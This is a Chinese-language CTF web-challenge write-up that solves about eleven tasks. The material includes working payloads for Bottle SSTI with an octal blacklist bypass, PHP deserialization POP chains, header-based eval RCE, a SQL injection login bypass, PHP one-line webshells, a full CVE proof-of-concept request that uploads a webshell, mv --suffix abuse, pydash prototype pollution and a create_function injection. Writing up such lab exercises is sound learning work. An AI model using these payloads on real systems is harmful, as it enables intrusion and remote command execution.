Author:endowment
感觉很考验代码审计这一块😘
难过的bottle
给了源码,可恶的黑名单:会被压缩文件内容进行渲染,是bottle框架,然后有过滤这么多字符,这边用全角字符搭配八进制绕过(python是可以解析全角字符的,确实牛!)
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]payload:
{{__import__('\157\163').popen('\143\141\164\040\057\146\154\141\147').read()}}
来签个到吧
反序列化+SSRF
//api.php
<?php
require_once "./config.php";
require_once "./classes.php";
$id = $_GET["id"] ?? '喵喵喵?';
$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);
if (! $row) {
die("喵喵喵?");
}
$cfg = unserialize($row["content"]);//这里可以对content函数直接反序列化
if ($cfg instanceof ShitMountant) {
$r = $cfg->fetch();
echo "ok!" . "<br>";
echo nl2br(htmlspecialchars($r));
}
else {
echo "喵喵喵?";
}
?>
//classes.php
<?php
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";
public function __construct($f=null) {
if ($f) {
$this->logfile = $f;
}
}
public function write($msg) {
$this->content .= $msg . "\n";
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
public function __destruct() {
if ($this->content) {
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
}
}
class ShitMountant {
public $url;
public $logger;
public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}
public function fetch() {
$c = file_get_contents($this->url);//file_get_contents函数读取文件
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}
public function __destruct() {
$this->fetch();
}
}
?>payload:
shark=blueshark:O:12:"ShitMountant":2:{s:3:"url";s:5:"/flag";s:6:"logger";N;}
Ezrce
源码:
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}正则只允许使用字母,括号,下划线和分号,然后我第一个想到的是无参RCE,发现不行,想到调用getalllheaders(),调用请求头参数
?code=print_r(getallheaders());
//查看了请求头中的所有参数
?code=eval(end(array_reverse(getallheaders())));
aaa:system('cat /f*');
//出题人将整改请求头反转了一下,所以我们需要反转回来array_reverse(),然后取最后一个值end()
flag到底在哪
题目给了描述:小蓝鲨部署了一个网页项目,但是怎么403啊,好像什么爬虫什么的,提示爬虫,那就是存在robots.txt文件,
robots.txt:
User-agent: *
Disallow: /admin/login.php访问提示:用户名是admin,这里测了很久很久,才知道是万能密码,有点EX
username=admin&password=1' OR '1'='1'--+然后就是上传shell,没有过滤一句话木马就行,这边连蚁剑,看看源码,flag文件在home目录下或者看环境变量也可以
<?php eval($_REQUEST['a']);?>
flag?我就借走了
这题考点是软链接实现,得在linux里做
ln -s /flag a.txt
tar -cf a.tar a.txt
//将压缩包上传,然后访问文件即可
b@by n0t1ce b0ard
这拉面师傅自己挖的CVE漏洞,可恶又让他装到了

这边直接拿POC打就行了
POST /registration.php HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 1172
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8081/registration.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="n"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="e"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="p"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="mob"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="gen"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="hob[]"
reading
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="img"; filename="basic_webshell.php"
Content-Type: application/octet-stream
<?php @eval($_GET['attack']);?>
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="yy"
1950
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="mm"
2
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="dd"
3
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="save"
Save
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB--
/images/test/basic_webshell.php?attack={YOUR COMMAND}ezpop
简单的pop链
begin::__destruct()->anna::__toString()->starlord::__call()->flaag::__invoke()-> eenndd::__get()payload:
<?php
class begin {
public $var1;
public $var2;
}
class starlord {
public $var4;
public $var5;
public $arg1;
}
class anna {
public $var6;
public $var7;
}
class eenndd {
public $command="eval(\$_GET['a']);";
}
class flaag {
public $var10;
public $var11="0I6";
}
//begin::__destruct()->anna::__toString()->starlord::__call()->flaag::__invoke()-> eenndd::__get()
$a=new begin;
$b=new starlord;
$c=new anna;
$d=new eenndd;
$e=new flaag;
$a->var1=$c;
$c->var6=$b;
$b->var4=$e;
$e->var10=$d;
echo urlencode(serialize($a));
//O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A3%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%220I6%22%3B%7Ds%3A4%3A%22var5%22%3BN%3Bs%3A4%3A%22arg1%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D
mv_upload
目录扫描扫到index.php~,下载然后去掉_即可获取源码,依旧代码审计,后缀名进行恶意行为绝对不行
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);这里存在漏洞,然后查看mv指令得知-b会使在移动操作前,生成一个带有~的备份文件。
这是第一个思路例如当前目录下有index.php文件,那么如果从其他的地方mv过来一个同名的index.php文件,那么原来的index.php会变成index.php~,配合上–suffix就可以任意设置后缀。
演示:这是用-b参数配合上–suffix=php的效果,x之前是有1.这个文件,图中我ls确实存在,但是我进行了这个命令后,1.文件删除了,y中多出来一个1.php的文件,此时可以进行攻击了
mv * -b --suffix=php '/home/kali/Desktop/y'
第二个就是不需要使用b参数:(其实效果差不多😁)
mv * --suffix=php '/home/kali/Desktop/y'
现在看来就很好办了,第一步我们需要先上传带有恶心内容的1.文件并存储到目录中,然后依次上传–suffix=php和1.文件都为空,移动到存储目录,最后访问1.php即可


Who am I
pydash原型链污染
登录窗口抓包将type的值改为0,即可跳转到管理员身份下,查看源文件
@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
这里存在pydash原型链污染,但是允许修改只设置为5个字符,这个过滤有点严格啊,这里我们可以看到实现SSTI,但是就允许5个字符,而且还有这么多黑名单,很显然不可能,换思路,想到三个参数都可控,可以打pydash原型链污染,污染jinja_loader.searchpath这个路径
jinja_loader.searchpath是模板渲染根目录路径,此时我们污染这个目录为/,然后直接访问flag文件即可
payload:
/operate?username=app&password=jinja_loader.searchpath&confirm_password=/
/impression?point=flag
Bypass
考察create_function函数,而且观察到php版本是7.1的,可以用😘
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}
if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}这里用create_function()函数来绕过,对$b的过滤并不严格,反引号加var_dump即可命令执行
<?php
class FLAG
{
private $a = "create_function" ;
protected $b = ";}var_dump(`/usr/b??/?l /?lag`);/*";
}
$a = new FLAG();
echo urlencode(serialize($a));
//O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A34%3A%22%3B%7Dvar_dump%28%60%2Fusr%2Fb%3F%3F%2F%3Fl+%2F%3Flag%60%29%3B%2F%2A%22%3B%7D
哇好厉害%%%